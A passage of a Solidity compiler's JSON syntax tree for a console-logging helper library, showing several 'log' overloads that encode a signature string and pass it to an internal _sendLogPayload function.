view"}},"id":22399,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55613:91:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22400,"nodeType":"ExpressionStatement","src":"55613:91:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55528:3:14","parameters":{"id":22388,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22381,"mutability":"mutable","name":"p0","nameLocation":"55540:2:14","nodeType":"VariableDeclaration","scope":22402,"src":"55532:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22380,"name":"address","nodeType":"ElementaryTypeName","src":"55532:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22383,"mutability":"mutable","name":"p1","nameLocation":"55549:2:14","nodeType":"VariableDeclaration","scope":22402,"src":"55544:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22382,"name":"uint","nodeType":"ElementaryTypeName","src":"55544:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22385,"mutability":"mutable","name":"p2","nameLocation":"55567:2:14","nodeType":"VariableDeclaration","scope":22402,"src":"55553:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22384,"name":"string","nodeType":"ElementaryTypeName","src":"55553:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22387,"mutability":"mutable","name":"p3","nameLocation":"55585:2:14","nodeType":"VariableDeclaration","scope":22402,"src":"55571:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22386,"name":"string","nodeType":"ElementaryTypeName","src":"55571:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"55531:57:14"},"returnParameters":{"id":22389,"nodeType":"ParameterList","parameters":[],"src":"55603:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22425,"nodeType":"FunctionDefinition","src":"55717:181:14","nodes":[],"body":{"id":22424,"nodeType":"Block","src":"55792:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c737472696e672c626f6f6c29","id":22416,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"55842:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_a4024f1195637e9b9bd0fa746905cf1693b1e0cd3e1c717a1cbc5279763b256a","typeString":"literal_string \"log(address,uint,string,bool)\""},"value":"log(address,uint,string,bool)"},{"id":22417,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22404,"src":"55875:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22418,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22406,"src":"55879:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22419,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22408,"src":"55883:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22420,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22410,"src":"55887:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_a4024f1195637e9b9bd0fa746905cf1693b1e0cd3e1c717a1cbc5279763b256a","typeString":"literal_string \"log(address,uint,string,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22414,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"55818:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22415,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"55822:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"55818:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22421,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55818:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22413,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"55802:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22422,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55802:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22423,"nodeType":"ExpressionStatement","src":"55802:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55726:3:14","parameters":{"id":22411,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22404,"mutability":"mutable","name":"p0","nameLocation":"55738:2:14","nodeType":"VariableDeclaration","scope":22425,"src":"55730:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22403,"name":"address","nodeType":"ElementaryTypeName","src":"55730:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22406,"mutability":"mutable","name":"p1","nameLocation":"55747:2:14","nodeType":"VariableDeclaration","scope":22425,"src":"55742:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22405,"name":"uint","nodeType":"ElementaryTypeName","src":"55742:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22408,"mutability":"mutable","name":"p2","nameLocation":"55765:2:14","nodeType":"VariableDeclaration","scope":22425,"src":"55751:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22407,"name":"string","nodeType":"ElementaryTypeName","src":"55751:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22410,"mutability":"mutable","name":"p3","nameLocation":"55774:2:14","nodeType":"VariableDeclaration","scope":22425,"src":"55769:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22409,"name":"bool","nodeType":"ElementaryTypeName","src":"55769:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"55729:48:14"},"returnParameters":{"id":22412,"nodeType":"ParameterList","parameters":[],"src":"55792:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22448,"nodeType":"FunctionDefinition","src":"55904:187:14","nodes":[],"body":{"id":22447,"nodeType":"Block","src":"55982:109:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c737472696e672c6164647265737329","id":22439,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56032:34:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_dc792604099307de53721f0c554f3059214ac3d8d1f6cd01cd16cf188835e809","typeString":"literal_string \"log(address,uint,string,address)\""},"value":"log(address,uint,string,address)"},{"id":22440,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22427,"src":"56068:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22441,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22429,"src":"56072:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22442,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22431,"src":"56076:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":22443,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22433,"src":"56080:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_dc792604099307de53721f0c554f3059214ac3d8d1f6cd01cd16cf188835e809","typeString":"literal_string \"log(address,uint,string,address)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":22437,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56008:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22438,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56012:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56008:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22444,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56008:75:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22436,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"55992:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22445,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"55992:92:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22446,"nodeType":"ExpressionStatement","src":"55992:92:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"55913:3:14","parameters":{"id":22434,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22427,"mutability":"mutable","name":"p0","nameLocation":"55925:2:14","nodeType":"VariableDeclaration","scope":22448,"src":"55917:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22426,"name":"address","nodeType":"ElementaryTypeName","src":"55917:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22429,"mutability":"mutable","name":"p1","nameLocation":"55934:2:14","nodeType":"VariableDeclaration","scope":22448,"src":"55929:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22428,"name":"uint","nodeType":"ElementaryTypeName","src":"55929:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22431,"mutability":"mutable","name":"p2","nameLocation":"55952:2:14","nodeType":"VariableDeclaration","scope":22448,"src":"55938:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22430,"name":"string","nodeType":"ElementaryTypeName","src":"55938:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":22433,"mutability":"mutable","name":"p3","nameLocation":"55964:2:14","nodeType":"VariableDeclaration","scope":22448,"src":"55956:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22432,"name":"address","nodeType":"ElementaryTypeName","src":"55956:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"55916:51:14"},"returnParameters":{"id":22435,"nodeType":"ParameterList","parameters":[],"src":"55982:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22471,"nodeType":"FunctionDefinition","src":"56097:170:14","nodes":[],"body":{"id":22470,"nodeType":"Block","src":"56163:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c626f6f6c2c75696e7429","id":22462,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56213:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_698f43923a9354f67c861ae1c111970990b11c7f948743e5f44d6ea901e7f1a2","typeString":"literal_string \"log(address,uint,bool,uint)\""},"value":"log(address,uint,bool,uint)"},{"id":22463,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22450,"src":"56244:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22464,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22452,"src":"56248:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22465,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22454,"src":"56252:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22466,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22456,"src":"56256:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_698f43923a9354f67c861ae1c111970990b11c7f948743e5f44d6ea901e7f1a2","typeString":"literal_string \"log(address,uint,bool,uint)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":22460,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56189:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22461,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56193:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56189:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22467,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56189:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22459,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"56173:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22468,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56173:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22469,"nodeType":"ExpressionStatement","src":"56173:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56106:3:14","parameters":{"id":22457,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22450,"mutability":"mutable","name":"p0","nameLocation":"56118:2:14","nodeType":"VariableDeclaration","scope":22471,"src":"56110:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22449,"name":"address","nodeType":"ElementaryTypeName","src":"56110:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22452,"mutability":"mutable","name":"p1","nameLocation":"56127:2:14","nodeType":"VariableDeclaration","scope":22471,"src":"56122:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22451,"name":"uint","nodeType":"ElementaryTypeName","src":"56122:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22454,"mutability":"mutable","name":"p2","nameLocation":"56136:2:14","nodeType":"VariableDeclaration","scope":22471,"src":"56131:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22453,"name":"bool","nodeType":"ElementaryTypeName","src":"56131:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22456,"mutability":"mutable","name":"p3","nameLocation":"56145:2:14","nodeType":"VariableDeclaration","scope":22471,"src":"56140:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22455,"name":"uint","nodeType":"ElementaryTypeName","src":"56140:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"56109:39:14"},"returnParameters":{"id":22458,"nodeType":"ParameterList","parameters":[],"src":"56163:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22494,"nodeType":"FunctionDefinition","src":"56273:181:14","nodes":[],"body":{"id":22493,"nodeType":"Block","src":"56348:106:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c626f6f6c2c737472696e6729","id":22485,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56398:31:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_8e8e4e75a8ccb3f0e11ad74335eebf7a17a78463e99c3b077ff34193a8918f3f","typeString":"literal_string \"log(address,uint,bool,string)\""},"value":"log(address,uint,bool,string)"},{"id":22486,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22473,"src":"56431:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22487,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22475,"src":"56435:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22488,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22477,"src":"56439:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22489,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22479,"src":"56443:2:14","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_8e8e4e75a8ccb3f0e11ad74335eebf7a17a78463e99c3b077ff34193a8918f3f","typeString":"literal_string \"log(address,uint,bool,string)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":22483,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56374:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22484,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56378:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56374:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22490,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56374:72:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22482,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"56358:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22491,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56358:89:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22492,"nodeType":"ExpressionStatement","src":"56358:89:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56282:3:14","parameters":{"id":22480,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22473,"mutability":"mutable","name":"p0","nameLocation":"56294:2:14","nodeType":"VariableDeclaration","scope":22494,"src":"56286:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22472,"name":"address","nodeType":"ElementaryTypeName","src":"56286:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22475,"mutability":"mutable","name":"p1","nameLocation":"56303:2:14","nodeType":"VariableDeclaration","scope":22494,"src":"56298:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22474,"name":"uint","nodeType":"ElementaryTypeName","src":"56298:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22477,"mutability":"mutable","name":"p2","nameLocation":"56312:2:14","nodeType":"VariableDeclaration","scope":22494,"src":"56307:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22476,"name":"bool","nodeType":"ElementaryTypeName","src":"56307:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22479,"mutability":"mutable","name":"p3","nameLocation":"56330:2:14","nodeType":"VariableDeclaration","scope":22494,"src":"56316:16:14","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":22478,"name":"string","nodeType":"ElementaryTypeName","src":"56316:6:14","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"56285:48:14"},"returnParameters":{"id":22481,"nodeType":"ParameterList","parameters":[],"src":"56348:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22517,"nodeType":"FunctionDefinition","src":"56460:170:14","nodes":[],"body":{"id":22516,"nodeType":"Block","src":"56526:104:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c626f6f6c2c626f6f6c29","id":22508,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"56576:29:14","typeDescriptions":{"typeIdentifier":"t_stringliteral_fea1d55aec42c422504acea77de45574d2fa3abd9dc9c6288741e19c3bd9849b","typeString":"literal_string \"log(address,uint,bool,bool)\""},"value":"log(address,uint,bool,bool)"},{"id":22509,"name":"p0","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22496,"src":"56607:2:14","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"id":22510,"name":"p1","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22498,"src":"56611:2:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},{"id":22511,"name":"p2","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22500,"src":"56615:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"id":22512,"name":"p3","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":22502,"src":"56619:2:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_fea1d55aec42c422504acea77de45574d2fa3abd9dc9c6288741e19c3bd9849b","typeString":"literal_string \"log(address,uint,bool,bool)\""},{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"},{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_bool","typeString":"bool"}],"expression":{"id":22506,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"56552:3:14","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":22507,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"56556:19:14","memberName":"encodeWithSignature","nodeType":"MemberAccess","src":"56552:23:14","typeDescriptions":{"typeIdentifier":"t_function_abiencodewithsignature_pure$_t_string_memory_ptr_$returns$_t_bytes_memory_ptr_$","typeString":"function (string memory) pure returns (bytes memory)"}},"id":22513,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56552:70:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":22505,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":15697,"src":"56536:15:14","typeDescriptions":{"typeIdentifier":"t_function_internal_view$_t_bytes_memory_ptr_$returns$__$","typeString":"function (bytes memory) view"}},"id":22514,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"56536:87:14","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":22515,"nodeType":"ExpressionStatement","src":"56536:87:14"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"56469:3:14","parameters":{"id":22503,"nodeType":"ParameterList","parameters":[{"constant":false,"id":22496,"mutability":"mutable","name":"p0","nameLocation":"56481:2:14","nodeType":"VariableDeclaration","scope":22517,"src":"56473:10:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":22495,"name":"address","nodeType":"ElementaryTypeName","src":"56473:7:14","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":22498,"mutability":"mutable","name":"p1","nameLocation":"56490:2:14","nodeType":"VariableDeclaration","scope":22517,"src":"56485:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":22497,"name":"uint","nodeType":"ElementaryTypeName","src":"56485:4:14","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"},{"constant":false,"id":22500,"mutability":"mutable","name":"p2","nameLocation":"56499:2:14","nodeType":"VariableDeclaration","scope":22517,"src":"56494:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22499,"name":"bool","nodeType":"ElementaryTypeName","src":"56494:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"},{"constant":false,"id":22502,"mutability":"mutable","name":"p3","nameLocation":"56508:2:14","nodeType":"VariableDeclaration","scope":22517,"src":"56503:7:14","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":22501,"name":"bool","nodeType":"ElementaryTypeName","src":"56503:4:14","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"56472:39:14"},"returnParameters":{"id":22504,"nodeType":"ParameterList","parameters":[],"src":"56526:0:14"},"scope":23737,"stateMutability":"view","virtual":false,"visibility":"internal"},{"id":22540,"nodeType":"FunctionDefinition","src":"56636:176:14","nodes":[],"body":{"id":22539,"nodeType":"Block","src":"56705:107:14","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"hexValue":"6c6f6728616464726573732c75696e742c626f6